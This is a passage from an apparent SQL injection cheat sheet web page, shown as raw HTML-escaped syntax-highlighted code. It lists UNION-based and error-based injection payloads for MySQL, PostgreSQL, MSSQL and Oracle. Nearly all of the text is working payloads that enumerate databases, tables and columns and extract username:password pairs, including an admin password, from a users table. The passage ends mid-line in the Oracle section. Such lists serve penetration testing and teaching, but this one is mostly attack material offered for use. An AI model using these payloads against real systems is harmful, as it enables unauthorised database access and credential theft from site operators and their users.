&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Find printable columns (replace NULL one at a time with string):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT NULL,&amp;#39;&lt;/span&gt;a&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,NULL--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Extract data (MySQL):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT 1,version(),3--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#66d9ef&#34;&gt;user&lt;/span&gt;(),&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT 1,database(),3--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#f92672&#34;&gt;@@&lt;/span&gt;datadir,&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT 1,@@version_compile_os,3--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,group_concat(&lt;span style=&#34;color:#66d9ef&#34;&gt;schema_name&lt;/span&gt;),&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; information_schema.schemata&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,group_concat(&lt;span style=&#34;color:#66d9ef&#34;&gt;column_name&lt;/span&gt;),&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; information_schema.columns &lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;table_name&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;users&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT 1,group_concat(username,&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,password),3 FROM users--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- PostgreSQL:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;(),&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT NULL,current_database(),NULL--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#66d9ef&#34;&gt;current_user&lt;/span&gt;,&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT NULL,string_agg(datname,&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;),NULL FROM pg_database--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,string_agg(tablename,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,&amp;#39;&lt;/span&gt;),&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; pg_tables &lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; schemaname&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;public&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT NULL,string_agg(column_name,&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;),NULL FROM information_schema.columns WHERE table_name=&amp;#39;&lt;/span&gt;users&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,string_agg(username&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;password,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,&amp;#39;&lt;/span&gt;),&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; users&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- MSSQL:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT NULL,@@version,NULL--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,db_name(),&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT NULL,user_name(),NULL--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,(&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; STRING_AGG(name,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; master.dbo.sysdatabases),&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT NULL,(SELECT STRING_AGG(name,&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;) FROM sysobjects WHERE xtype=&amp;#39;&lt;/span&gt;U&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;),NULL--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Oracle:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,banner,&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; v$version&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT NULL,user,NULL FROM dual--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;,(&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; listagg(&lt;span style=&#34;color:#66d9ef&#34;&gt;table_name&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,&amp;#39;&lt;/span&gt;) WITHIN &lt;span style=&#34;color:#66d9ef&#34;&gt;GROUP&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;BY&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; all_tables &lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;owner&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;APPS&amp;#39;&lt;/span&gt;),&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; dual&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;section-4--error-based-extraction&#34;&gt;Section 4 — Error-Based Extraction&lt;/h3&gt;
&lt;h4 id=&#34;mysql-error-based&#34;&gt;MySQL Error-Based&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- extractvalue (returns value in error message):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND extractvalue(1,concat(0x7e,version()))--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; extractvalue(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,concat(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x7e,&lt;span style=&#34;color:#66d9ef&#34;&gt;database&lt;/span&gt;()))&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND extractvalue(1,concat(0x7e,user()))--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; extractvalue(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,concat(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x7e,(&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; group_concat(&lt;span style=&#34;color:#66d9ef&#34;&gt;table_name&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; information_schema.tables &lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; table_schema&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;database&lt;/span&gt;())))&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,password) FROM users)))--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- updatexml:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; updatexml(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,concat(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x7e,&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;()),&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND updatexml(1,concat(0x7e,(SELECT password FROM users WHERE username=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;admin&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; LIMIT 1)),1)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- floor/rand (old but reliable):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;COUNT&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;),CONCAT(&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;(),&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x3a,FLOOR(RAND(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;))x &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; information_schema.tables &lt;span style=&#34;color:#66d9ef&#34;&gt;GROUP&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;BY&lt;/span&gt; x)a)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;postgresql-error-based&#34;&gt;PostgreSQL Error-Based&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- cast to int:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND 1=cast(version() as int)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;cast&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; password &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; users &lt;span style=&#34;color:#66d9ef&#34;&gt;LIMIT&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; int)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- substring trick:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND 1=1/(SELECT 1 FROM (SELECT substring(username,1,1) FROM users LIMIT 1) x WHERE x.substring=&amp;#39;&lt;/span&gt;a&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;mssql-error-based&#34;&gt;MSSQL Error-Based&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- convert:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND 1=convert(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype=&amp;#39;&lt;/span&gt;U&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;))--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;convert&lt;/span&gt;(int,&lt;span style=&#34;color:#f92672&#34;&gt;@@&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- cast:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND 1=cast((SELECT TOP 1 password FROM users) as int)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;oracle-error-based&#34;&gt;Oracle Error-Based&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- utl_inaddr (DNS lookup — triggers error with data):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND 1=utl_inaddr.get_host_address((SELECT version FROM v$instance))--
